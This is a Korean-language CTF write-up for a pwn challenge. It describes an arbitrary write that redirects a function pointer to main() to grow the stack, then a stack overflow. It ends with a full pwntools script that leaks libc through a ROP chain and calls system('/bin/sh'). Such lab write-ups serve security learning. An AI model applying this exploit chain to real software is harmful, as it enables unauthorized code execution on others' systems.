메인 함수는 위와 같이 생겼다. read_input()
, read_number()
함수로 값을 읽어 동작한다. 먼저 16byte 문자열을 읽어 "Decision2Solve"와 동일한지 확인하고, 동일하다면 AAW
가 가능하다.
그리고 숫자를 입력받는데, 입력 값이 1이냐 2냐에 따라 safe_func()
, unsafe_func()
함수를 호출한다. 이때 safe
는 safe_func()
함수의 주소를 저장한 전역 변수이고, unsafe
는 unsafe_func()
함수의 주소를 저장한 전역 변수이다.
read_input()
함수는 정확히 두 번째 인자로 입력받은 크기만큼을 읽으려 한다. 즉 두 번째 인자가 16이면, 사용자가 16byte를 입력할 때까지 대기한다.
read_number()
함수는 입력된 문자열을 숫자로 바꾸어주는 함수다.
safe_func()
함수는 취약한 부분이 없는 안전한 함수다.
반면 unsafe_func()
함수는 Stack BOF
가 발생한다. 이때 0x10000
byte만큼 값을 입력받는다.
문제를 처음 봤을 때 가장 먼저 시도한 것은 unsafe_func()
함수를 바로 호출해보는 것이었다. 하지만 이는 SEGFAULT
를 유발하게 되는데, 그 이유는 스택 영역이 0x10000
보다 작기 때문이다. 따라서 unsafe_func()
를 호출하기 전에 스택의 크기를 늘릴 필요가 있다.
앞서 "Decision2Solve" 입력을 통해 AAW가 가능하다고 했다. 이때 safe
변수의 값을 main()
함수의 주소로 변경한 후 1을 입력하면, safe_func()
가 아닌 main()
함수가 호출된다. 이때 main()
함수의 프롤로그의 반복으로, 매 번 스택의 크기가 0x30
만큼 증가한다.
충분한 크기로(>0x10000) 스택 영역을 확장했다면, unsafe_func()
함수를 이용해 libc base를 leak한다. GOT 영역을 읽으며, 가젯은 pop rdi; nop; pop rbp; ret
을 이용한다. 필요하면 ret
가젯도 이용한다.
페이로드의 구성은 위와 같다. puts@got
주소를 인자로 puts()
함수를 호출해 puts()
함수의 주소를 출력시킨다. 그리고 차후의 익스플로잇을 위해 unsafe_func()
를 한 번 더 호출한다.
위 과정에서 libc base를 leak했으므로, system()
함수와 /bin/sh
문자열의 주소를 알 수 있다. 그리고 libc base를 leak했을 때 사용한 가젯으로 rdi
레지스터를 /bin/sh
문자열의 주소로 조작한 후 system()
함수의 코드로 리턴하도록 한다. 이때 stack alignment가 안 맞아 system() 함수 내부에서 SEGFAULT가 발생하면, ret
가젯을 추가하도록 한다.
페이로드 구성은 위와 같다.
from pwn import *
p = process('./prob')
e = ELF('./prob')
libc = ELF('./libc.so.6')
pop_rdi_rbp_ret = 0x40129b
ret = 0x40101a
# safe = main()
p.sendafter(b'heart.\n> ', b'Decision2Solve\x00\x00')
p.send(p64(e.symbols['safe']))
p.send(p64(e.symbols['main'])[:6])
p.sendafter(b'func\n> ', b'1')
# stack expansion > 0x10000
for _ in range(0x400):
print('.', end='', flush=True)
p.sendafter(b'heart.\n>', b'A'*16)
p.sendafter(b'func\n>', b'1') # safe
print()
# call unsafe_func()
p.sendafter(b'heart.\n> ', b'A'*16)
p.sendafter(b'func\n> ', b'2') # unsafe
# leak libc base
# call puts(puts@got) using ROP
payload = b'A'*0x20 + b'B'*0x8
payload += p64(pop_rdi_rbp_ret) + p64(e.got['puts']) + b'C'*0x8
payload += p64(e.plt['puts'])
payload += p64(e.symbols['unsafe_func']) # call unsafe_func()
payload = payload.ljust(0x10000, b'\x00')
p.send(payload)
print('send the first payload size of 0x10000')
# calculate the address of "/bin/sh", system()
puts_addr = u64(p.recvline()[:-1].ljust(0x8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + 0x1d8698
print("puts():", hex(puts_addr))
print("libc base:", hex(libc_base))
# call system("/bin/sh") using ROP
payload = b'A'*0x20 + b'B'*0x8
payload += p64(pop_rdi_rbp_ret) + p64(binsh_addr) + b'C'*0x8
payload += p64(ret) + p64(system_addr)
payload = payload.ljust(0x10000, b'\x00')
p.send(payload)
print('send the second payload size of 0x10000')
p.interactive()